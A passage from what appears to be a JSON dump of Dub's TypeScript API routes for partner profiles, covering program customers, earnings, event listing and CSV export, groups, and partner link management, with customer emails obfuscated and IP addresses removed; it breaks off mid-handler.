    "content": "import { transformCustomer } from \"@/lib/api/customers/transform-customer\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n} from \"@/lib/constants/partner-profile\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  PartnerProfileCustomerSchema,\n  getPartnerCustomersQuerySchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { CommissionType } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/:programId/customers – Get all customers for a partner program\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { programId } = params;\n    const {\n      search,\n      country,\n      linkId,\n      sortBy,\n      sortOrder,\n      page = 1,\n      pageSize,\n    } = getPartnerCustomersQuerySchema.parse(searchParams);\n\n    const { program, totalCommissions, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: programId,\n        include: {\n          program: true,\n        },\n      });\n\n    if (\n      LARGE_PROGRAM_IDS.includes(program.id) &&\n      toCentsNumber(totalCommissions) <\n        LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n    ) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"This feature is not available for your program.\",\n      });\n    }\n\n    // Get all customers with their first commission date in a single optimized query\n    const customers = await prisma.customer.findMany({\n      where: {\n        partnerId: partner.id,\n        programId: program.id,\n        projectId: program.workspaceId,\n        ...(country && { country }),\n        ...(linkId && { linkId }),\n        // Only allow search if customer data sharing is enabled\n        ...(search && customerDataSharingEnabledAt\n          ? search.includes(\"@\")\n            ? { email: search }\n            : {\n                email: { search: sanitizeFullTextSearch(search) },\n                name: { search: sanitizeFullTextSearch(search) },\n              }\n          : {}),\n      },\n      include: {\n        link: true,\n        commissions: {\n          where: {\n            partnerId: partner.id,\n            type: CommissionType.sale,\n          },\n          take: 1,\n          orderBy: {\n            createdAt: \"asc\",\n          },\n        },\n      },\n      orderBy: {\n        [sortBy]: sortOrder,\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n    });\n\n    // Map customers with their data\n    const customersWithData = customers.map((customer) => {\n      const firstSaleAt =\n        customer.commissions[0]?.createdAt ?? customer.firstSaleAt;\n\n      return PartnerProfileCustomerSchema.extend({\n        ...(customerDataSharingEnabledAt && { name: z.string().nullish() }),\n      }).parse({\n        ...transformCustomer({\n          ...customer,\n          firstSaleAt,\n          email: customer.email\n            ? customerDataSharingEnabledAt\n              ? customer.email\n              : obfuscateCustomerEmail(customer.email)\n            : customer.name || generateRandomName(),\n        }),\n        activity: {\n          ...customer,\n          events: [],\n          link: customer.link,\n        },\n      });\n    });\n\n    return NextResponse.json(customersWithData);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/earnings/count/route.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { getPartnerEarningsCountQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/earnings/count – get earnings count for a partner in a program enrollment\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { program, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n        },\n      });\n\n    const {\n      groupBy,\n      status,\n      linkId,\n      customerId,\n      payoutId,\n      interval,\n      start,\n      end,\n      timezone,\n    } = getPartnerEarningsCountQuerySchema.parse(searchParams);\n\n    const { startDate, endDate } = getStartEndDates({\n      interval,\n      start,\n      end,\n      timezone,\n    });\n\n    const where: Prisma.CommissionWhereInput = {\n      earnings: {\n        not: 0,\n      },\n      programId: program.id,\n      partnerId: partner.id,\n      ...(payoutId && { payoutId }),\n      createdAt: {\n        gte: startDate,\n        lte: endDate,\n      },\n    };\n\n    if (groupBy) {\n      let counts = await prisma.commission.groupBy({\n        by: [groupBy],\n        where: {\n          ...where,\n          ...(status && groupBy !== \"status\" && { status }),\n          ...(linkId && groupBy !== \"linkId\" && { linkId }),\n          ...(customerId && groupBy !== \"customerId\" && { customerId }),\n        },\n        _count: true,\n        orderBy: {\n          _count: {\n            [groupBy]: \"desc\",\n          },\n        },\n      });\n\n      if (groupBy === \"linkId\") {\n        const links = await prisma.link.findMany({\n          where: {\n            id: {\n              in: counts\n                .map(({ linkId }) => linkId)\n                .filter((id): id is string => id !== null),\n            },\n          },\n        });\n        counts = counts.map(({ linkId, _count }) => {\n          const link = links.find((l) => l.id === linkId);\n          return {\n            id: linkId,\n            domain: link?.domain,\n            key: link?.key,\n            url: link?.url,\n            _count,\n          };\n        }) as any[]; // TODO: find a better fix for types\n      } else if (groupBy === \"customerId\") {\n        const customers = await prisma.customer.findMany({\n          where: {\n            id: {\n              in: counts\n                .map(({ customerId }) => customerId)\n                .filter((id): id is string => id !== null),\n            },\n          },\n        });\n        counts = counts.map(({ customerId, _count }) => {\n          const customer = customers.find((c) => c.id === customerId);\n          return {\n            id: customerId,\n            email: customer?.email\n              ? customerDataSharingEnabledAt\n                ? customer.email\n                : obfuscateCustomerEmail(customer.email)\n              : customer?.name || generateRandomName(),\n            _count,\n          };\n        }) as any[]; // TODO: find a better fix for types\n      }\n\n      return NextResponse.json(counts);\n    } else {\n      const count = await prisma.commission.count({\n        where: {\n          ...where,\n          ...(status && { status }),\n          ...(linkId && { linkId }),\n          ...(customerId && { customerId }),\n        },\n      });\n\n      return NextResponse.json({ count });\n    }\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/earnings/route.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  PartnerEarningsSchema,\n  getPartnerEarningsQuerySchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/[programId]/earnings – get earnings for a partner in a program enrollment\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { program, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n        },\n      });\n\n    const {\n      page = 1,\n      pageSize,\n      type,\n      status,\n      sortBy,\n      sortOrder,\n      linkId,\n      customerId,\n      payoutId,\n      interval,\n      start,\n      end,\n      timezone,\n    } = getPartnerEarningsQuerySchema.parse(searchParams);\n\n    const { startDate, endDate } = getStartEndDates({\n      interval,\n      start,\n      end,\n      timezone,\n    });\n\n    const earnings = await prisma.commission.findMany({\n      where: {\n        earnings: {\n          not: 0,\n        },\n        programId: program.id,\n        partnerId: partner.id,\n        status,\n        type,\n        linkId,\n        customerId,\n        payoutId,\n        createdAt: {\n          gte: startDate,\n          lte: endDate,\n        },\n      },\n      include: {\n        customer: true,\n        link: {\n          select: {\n            id: true,\n            shortLink: true,\n            url: true,\n          },\n        },\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n      orderBy: { [sortBy]: sortOrder },\n    });\n\n    const data = z.array(PartnerEarningsSchema).parse(\n      earnings.map((e) => {\n        // fallback to a random name if the customer doesn't have an email\n        const customerEmail =\n          e.customer?.email || e.customer?.name || generateRandomName();\n        return {\n          ...e,\n          customer: e.customer\n            ? {\n                ...e.customer,\n                email: customerDataSharingEnabledAt\n                  ? customerEmail\n                  : obfuscateCustomerEmail(customerEmail),\n                country: e.customer?.country,\n              }\n            : null,\n        };\n      }),\n    );\n\n    return NextResponse.json(data);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/earnings/timeseries/route.ts",
    "content": "import { getPartnerEarningsTimeseries } from \"@/lib/api/partner-profile/get-partner-earnings-timeseries\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { getPartnerEarningsTimeseriesSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/earnings/timeseries - get timeseries chart for a partner's earnings\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const filters = getPartnerEarningsTimeseriesSchema.parse(searchParams);\n\n    const timeseries = await getPartnerEarningsTimeseries({\n      partnerId: partner.id,\n      programId: params.programId,\n      filters,\n    });\n\n    return NextResponse.json(timeseries);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/events/export/route.ts",
    "content": "import {\n  eventsExportColumnAccessors,\n  eventsExportColumnNames,\n} from \"@/lib/analytics/events-export-helpers\";\nimport { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { getEvents } from \"@/lib/analytics/get-events\";\nimport { convertToCSV } from \"@/lib/analytics/utils\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n  MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING,\n} from \"@/lib/constants/partner-profile\";\nimport { qstash } from \"@/lib/cron\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  PartnerProfileLinkSchema,\n  partnerProfileEventsQuerySchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  capitalize,\n  parseFilterValue,\n  toCentsNumber,\n} from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst MAX_EVENTS_TO_EXPORT = 1000;\n\n// GET /api/partner-profile/programs/[programId]/events/export – get export data for partner profile events\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams, session }) => {\n    const { program, links, totalCommissions, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n          links: true,\n        },\n      });\n\n    if (\n      LARGE_PROGRAM_IDS.includes(program.id) &&\n      toCentsNumber(totalCommissions) <\n        LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n    ) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"This feature is not available for your program.\",\n      });\n    }\n\n    // early return if partner has no links\n    if (links.length === 0) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"No links found\",\n      });\n    }\n\n    const parsedParams = partnerProfileEventsQuerySchema\n      .extend({\n        columns: z\n          .string()\n          .optional()\n          .transform((c) => (c ? c.split(\",\") : []))\n          .pipe(z.string().array()),\n      })\n      .parse(searchParams);\n\n    const { event, columns: columnsParam } = parsedParams;\n\n    // Default columns based on event type if not provided\n    const defaultColumns: Record<string, string[]> = {\n      clicks: [\"timestamp\", \"link\", \"referer\", \"country\", \"device\"],\n      leads: [\"timestamp\", \"event\", \"link\", \"customer\", \"referer\"],\n      sales: [\n        \"timestamp\",\n        \"saleAmount\",\n        \"event\",\n        \"customer\",\n        \"referer\",\n        \"link\",\n      ],\n    };\n\n    const columns =\n      columnsParam.length > 0\n        ? columnsParam\n        : defaultColumns[event] || defaultColumns.clicks;\n\n    const { linkId, domain, key } = parsedParams;\n\n    if (linkId) {\n      // check to make sure all of the linkId.values are in the links\n      if (\n        !linkId.values.every((value) => links.some((link) => link.id === value))\n      ) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"One or more links are not found\",\n        });\n      }\n\n      if (linkId.sqlOperator === \"NOT IN\") {\n        // if using NOT IN operator, we need to include all links except the ones in the linkId.values\n        const finalIncludedLinkIds = links\n          .filter((link) => !linkId.values.includes(link.id))\n          .map((link) => link.id);\n\n        // early return if no links are left\n        if (finalIncludedLinkIds.length === 0) {\n          throw new DubApiError({\n            code: \"not_found\",\n            message: \"No links found\",\n          });\n        }\n\n        parsedParams.linkId = {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: finalIncludedLinkIds,\n        };\n      }\n    } else if (domain && key) {\n      const link = links.find(\n        (link) =>\n          link.domain === getFirstFilterValue(domain) && link.key === key,\n      );\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Link not found\",\n        });\n      }\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n    }\n\n    // Count events using getAnalytics with groupBy: \"count\"\n    const countResponse = await getAnalytics({\n      ...parsedParams,\n      event,\n      groupBy: \"count\",\n      workspaceId: program.workspaceId,\n      ...(parsedParams.linkId\n        ? { linkId: parsedParams.linkId }\n        : links.length > MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING\n          ? { partnerId: partner.id }\n          : { linkId: parseFilterValue(links.map((link) => link.id)) }),\n      dataAvailableFrom: program.startedAt ?? program.createdAt,\n    });\n\n    // Extract the count based on event type\n    // getAnalytics with groupBy: \"count\" returns an object like { clicks: 123 } or { leads: 45 } or { sales: 10, saleAmount: 5000 }\n    const eventsCount =\n      typeof countResponse === \"object\" && countResponse !== null\n        ? (countResponse[event as keyof typeof countResponse] as number) ?? 0\n        : typeof countResponse === \"number\"\n          ? countResponse\n          : 0;\n\n    // Process the export in the background if the number of events is greater than MAX_EVENTS_TO_EXPORT\n    if (eventsCount > MAX_EVENTS_TO_EXPORT) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/export/events/partner`,\n        body: {\n          ...searchParams,\n          columns: columns.join(\",\"),\n          partnerId: partner.id,\n          programId: params.programId,\n          userId: session.user.id,\n          dataAvailableFrom: (\n            program.startedAt ?? program.createdAt\n          ).toISOString(),\n        },\n      });\n\n      return NextResponse.json({}, { status: 202 });\n    }\n\n    const events = await getEvents({\n      ...parsedParams,\n      workspaceId: program.workspaceId,\n      ...(parsedParams.linkId\n        ? { linkId: parsedParams.linkId }\n        : links.length > MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING\n          ? { partnerId: partner.id }\n          : { linkId: parseFilterValue(links.map((link) => link.id)) }),\n      limit: MAX_EVENTS_TO_EXPORT,\n    });\n\n    // Apply partner profile data transformations similar to the main events route\n    const transformedEvents = events.map((event) => {\n      // don't return ip address for partner profile\n      // @ts-ignore – ip is deprecated but present in the data\n      const { ip, click, customer, ...eventRest } = event;\n      const { ip: _, ...clickRest } = click;\n\n      return {\n        ...eventRest,\n        click: clickRest,\n        link: event?.link ? PartnerProfileLinkSchema.parse(event.link) : null,\n        ...(customer && {\n          customer: z\n            .object({\n              id: z.string(),\n              email: z.string(),\n              ...(customerDataSharingEnabledAt && { name: z.string() }),\n            })\n            .parse({\n              ...customer,\n              email: customer.email\n                ? customerDataSharingEnabledAt\n                  ? customer.email\n                  : obfuscateCustomerEmail(customer.email)\n                : customer.name || generateRandomName(),\n              ...(customerDataSharingEnabledAt && {\n                name: customer.name || generateRandomName(),\n              }),\n            }),\n        }),\n      };\n    });\n\n    const data = transformedEvents.map((row) =>\n      Object.fromEntries(\n        columns.map((c) => [\n          eventsExportColumnNames?.[c] ?? capitalize(c),\n          eventsExportColumnAccessors[c]?.(row) ?? row?.[c],\n        ]),\n      ),\n    );\n\n    const csvData = convertToCSV(data);\n\n    return new Response(csvData, {\n      headers: {\n        \"Content-Type\": \"application/csv\",\n        \"Content-Disposition\": `attachment; filename=${event}_export.csv`,\n      },\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/events/route.ts",
    "content": "import { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { getEvents } from \"@/lib/analytics/get-events\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  LARGE_PROGRAM_IDS,\n  LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS,\n  MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING,\n} from \"@/lib/constants/partner-profile\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  PartnerProfileLinkSchema,\n  partnerProfileEventsQuerySchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { parseFilterValue, toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/[programId]/events – get events for a program enrollment link\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { program, links, totalCommissions, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId: partner.id,\n        programId: params.programId,\n        include: {\n          program: true,\n          links: true,\n        },\n      });\n\n    if (\n      LARGE_PROGRAM_IDS.includes(program.id) &&\n      toCentsNumber(totalCommissions) <\n        LARGE_PROGRAM_MIN_TOTAL_COMMISSIONS_CENTS\n    ) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"This feature is not available for your program.\",\n      });\n    }\n\n    // early return if partner has no links\n    if (links.length === 0) {\n      return NextResponse.json([], { status: 200 });\n    }\n\n    const parsedParams = partnerProfileEventsQuerySchema.parse(searchParams);\n    const { linkId, domain, key } = parsedParams;\n\n    if (linkId) {\n      // check to make sure all of the linkId.values are in the links\n      if (\n        !linkId.values.every((value) => links.some((link) => link.id === value))\n      ) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"One or more links are not found\",\n        });\n      }\n\n      if (linkId.sqlOperator === \"NOT IN\") {\n        // if using NOT IN operator, we need to include all links except the ones in the linkId.values\n        const finalIncludedLinkIds = links\n          .filter((link) => !linkId.values.includes(link.id))\n          .map((link) => link.id);\n\n        // early return if no links are left\n        if (finalIncludedLinkIds.length === 0) {\n          return NextResponse.json([], { status: 200 });\n        }\n\n        parsedParams.linkId = {\n          operator: \"IS\",\n          sqlOperator: \"IN\",\n          values: finalIncludedLinkIds,\n        };\n      }\n    } else if (domain && key) {\n      const link = links.find(\n        (link) =>\n          link.domain === getFirstFilterValue(domain) && link.key === key,\n      );\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"Link not found\",\n        });\n      }\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n    }\n\n    const events = await getEvents({\n      ...parsedParams,\n      workspaceId: program.workspaceId,\n      ...(parsedParams.linkId\n        ? { linkId: parsedParams.linkId }\n        : links.length > MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING\n          ? { partnerId: partner.id }\n          : { linkId: parseFilterValue(links.map((link) => link.id)) }),\n      dataAvailableFrom: program.startedAt ?? program.createdAt,\n    });\n\n    const response = events.map((event) => {\n      // don't return ip address for partner profile\n      // @ts-ignore – ip is deprecated but present in the data\n      const { ip, click, customer, ...eventRest } = event;\n      const { ip: _, ...clickRest } = click;\n\n      return {\n        ...eventRest,\n        click: clickRest,\n        link: event?.link ? PartnerProfileLinkSchema.parse(event.link) : null,\n        ...(customer && {\n          customer: z\n            .object({\n              id: z.string(),\n              email: z.string(),\n              ...(customerDataSharingEnabledAt && { name: z.string() }),\n            })\n            .parse({\n              ...customer,\n              email: customer.email\n                ? customerDataSharingEnabledAt\n                  ? customer.email\n                  : obfuscateCustomerEmail(customer.email)\n                : customer.name || generateRandomName(),\n              ...(customerDataSharingEnabledAt && {\n                name: customer.name || generateRandomName(),\n              }),\n            }),\n        }),\n      };\n    });\n\n    return NextResponse.json(response);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/groups/[groupIdOrSlug]/route.ts",
    "content": "import { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { PartnerProgramGroupSchema } from \"@/lib/zod/schemas/groups\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/groups/[groupIdOrSlug] - get information about a program's group\nexport const GET = withPartnerProfile(async ({ params }) => {\n  const { programId, groupIdOrSlug } = params;\n\n  const group = await getGroupOrThrow({\n    programId,\n    groupId: groupIdOrSlug,\n  });\n\n  return NextResponse.json(PartnerProgramGroupSchema.parse(group));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/links/[linkId]/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport { deleteLink, processLink, updateLink } from \"@/lib/api/links\";\nimport { validatePartnerLinkUrl } from \"@/lib/api/links/validate-partner-link-url\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { NewLinkProps } from \"@/lib/types\";\nimport { PartnerProfileLinkSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { createPartnerLinkSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { getPrettyUrl, toCentsNumber } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// PATCH /api/partner-profile/[programId]/links/[linkId] - update a link for a partner\nexport const PATCH = withPartnerProfile(\n  async ({ partner, params, req, session }) => {\n    const { url, key, comments } = createPartnerLinkSchema\n      .pick({ url: true, key: true, comments: true })\n      .parse(await parseRequestBody(req));\n\n    const { programId, linkId } = params;\n\n    const {\n      program,\n      links,\n      status,\n      partnerGroup: group,\n    } = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId,\n      include: {\n        program: true,\n        links: true,\n        partnerGroup: true,\n      },\n    });\n\n    if ([\"banned\", \"deactivated\"].includes(status)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You are banned from this program.\",\n      });\n    }\n\n    if (!group) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"You're not part of any group yet. Please reach out to the program owner to be added.\",\n      });\n    }\n\n    const link = links.find((link) => link.id === linkId);\n\n    if (!link) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Link not found.\",\n      });\n    }\n\n    if (!program.domain || !program.url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"This program needs a domain and URL set before creating a link.\",\n      });\n    }\n\n    const linkUrlChanged = getPrettyUrl(link.url) !== getPrettyUrl(url);\n\n    if (linkUrlChanged) {\n      if (link.partnerGroupDefaultLinkId) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message:\n            \"You cannot update the destination URL of your default link.\",\n        });\n      } else {\n        validatePartnerLinkUrl({ group, url });\n      }\n    }\n\n    // check if the group has a UTM template\n    const groupUtmTemplate = group.utmTemplateId\n      ? await prisma.utmTemplate.findUnique({\n          where: {\n            id: group.utmTemplateId,\n          },\n        })\n      : null;\n\n    // if domain and key are the same, we don't need to check if the key exists\n    const skipKeyChecks = link.key.toLowerCase() === key?.toLowerCase();\n\n    const {\n      link: processedLink,\n      error,\n      code,\n    } = await processLink({\n      payload: {\n        ...link,\n        ...(groupUtmTemplate ? extractUtmParams(groupUtmTemplate) : {}),\n        // coerce types\n        expiresAt:\n          link.expiresAt instanceof Date\n            ? link.expiresAt.toISOString()\n            : link.expiresAt,\n        geo: link.geo as NewLinkProps[\"geo\"],\n        testVariants: link.testVariants as NewLinkProps[\"testVariants\"],\n        testCompletedAt:\n          link.testCompletedAt instanceof Date\n            ? link.testCompletedAt.toISOString()\n            : link.testCompletedAt,\n        testStartedAt:\n          link.testStartedAt instanceof Date\n            ? link.testStartedAt.toISOString()\n            : link.testStartedAt,\n\n        // merge in new props\n        key: key || undefined,\n        url: url || program.url,\n        comments,\n      },\n      workspace: {\n        id: program.workspaceId,\n        plan: \"business\",\n        users: [{ role: \"owner\" }],\n      },\n      userId: session.user.id,\n      skipKeyChecks,\n      skipFolderChecks: true, // can't be changed by the partner\n      skipProgramChecks: true, // can't be changed by the partner\n      skipExternalIdChecks: true, // can't be changed by the partner\n    });\n\n    if (error != null) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    const partnerLink = await updateLink({\n      oldLink: {\n        domain: link.domain,\n        key: link.key,\n        image: link.image,\n      },\n      updatedLink: processedLink,\n    });\n\n    return NextResponse.json(PartnerProfileLinkSchema.parse(partnerLink));\n  },\n);\n\n// DELETE /api/partner-profile/[programId]/links/[linkId] - delete a link for a partner\nexport const DELETE = withPartnerProfile(async ({ partner, params }) => {\n  const { programId, linkId } = params;\n\n  const { links, status } = await getProgramEnrollmentOrThrow({\n    partnerId: partner.id,\n    programId,\n    include: {\n      links: true,\n    },\n  });\n\n  if ([\"banned\", \"deactivated\"].includes(status)) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"You are banned from this program.\",\n    });\n  }\n\n  const link = links.find((link) => link.id === linkId);\n\n  if (!link) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Link not found.\",\n    });\n  }\n\n  // Check if this is a default link\n  if (link.partnerGroupDefaultLinkId) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"You cannot delete your default link.\",\n    });\n  }\n\n  // Check if link has any clicks, leads, or sales\n  if (link.clicks > 0 || link.leads > 0 || toCentsNumber(link.saleAmount) > 0) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"You can only delete links with 0 clicks, 0 leads, and $0 in sales.\",\n    });\n  }\n\n  // Delete the link\n  await deleteLink(link.id);\n\n  return NextResponse.json({ id: link.id });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/links/route.ts",
    "content": "import { DubApiError, ErrorCodes } from \"@/lib/api/errors\";\nimport { createLink, processLink } from \"@/lib/api/links\";\nimport { validatePartnerLinkUrl } from \"@/lib/api/links/validate-partner-link-url\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { PartnerProfileLinkSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport {\n  createPartnerLinkSchema,\n  INACTIVE_ENROLLMENT_STATUSES,\n} from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { getUTMParamsFromURL } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/[programId]/links - get a partner's links in a program\nexport const GET = withPartnerProfile(async ({ partner, params }) => {\n  const { links, discountCodes } = await getProgramEnrollmentOrThrow({\n    partnerId: partner.id,\n    programId: params.programId,\n    include: {\n      links: true,\n      discountCodes: true,\n    },\n  });\n\n  // Add discount code to the links\n  const linksByDiscountCode = new Map(\n    discountCodes?.map((discountCode) => [discountCode.linkId, discountCode]),\n  );\n\n  const result = links.map((link) => {\n    const discountCode = linksByDiscountCode.get(link.id);\n\n    return {\n      ...link,\n      discountCode: discountCode?.code,\n    };\n  });\n\n  return NextResponse.json(z.array(PartnerProfileLinkSchema).parse(result));\n});\n\n// POST /api/partner-profile/[programId]/links - create a link for a partner\nexport const POST = withPartnerProfile(\n  async ({ partner, params, req, session }) => {\n    const { url, key, comments } = createPartnerLinkSchema\n      .pick({ url: true, key: true, comments: true })\n      .parse(await parseRequestBody(req));\n\n    const {\n      program,\n      links,\n      tenantId,\n      status,\n      partnerGroup: group,\n    } = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId: params.programId,\n      include: {\n        program: true,\n        links: true,\n        partnerGroup: true,\n      },\n    });\n\n    if (INACTIVE_ENROLLMENT_STATUSES.includes(status)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `You cannot create links in this program because you have been ${status}`,\n      });\n    }\n\n    if (!program.domain || !program.url) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"This program needs a domain and URL set before creating a link.\",\n      });\n    }\n\n    if (!group) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          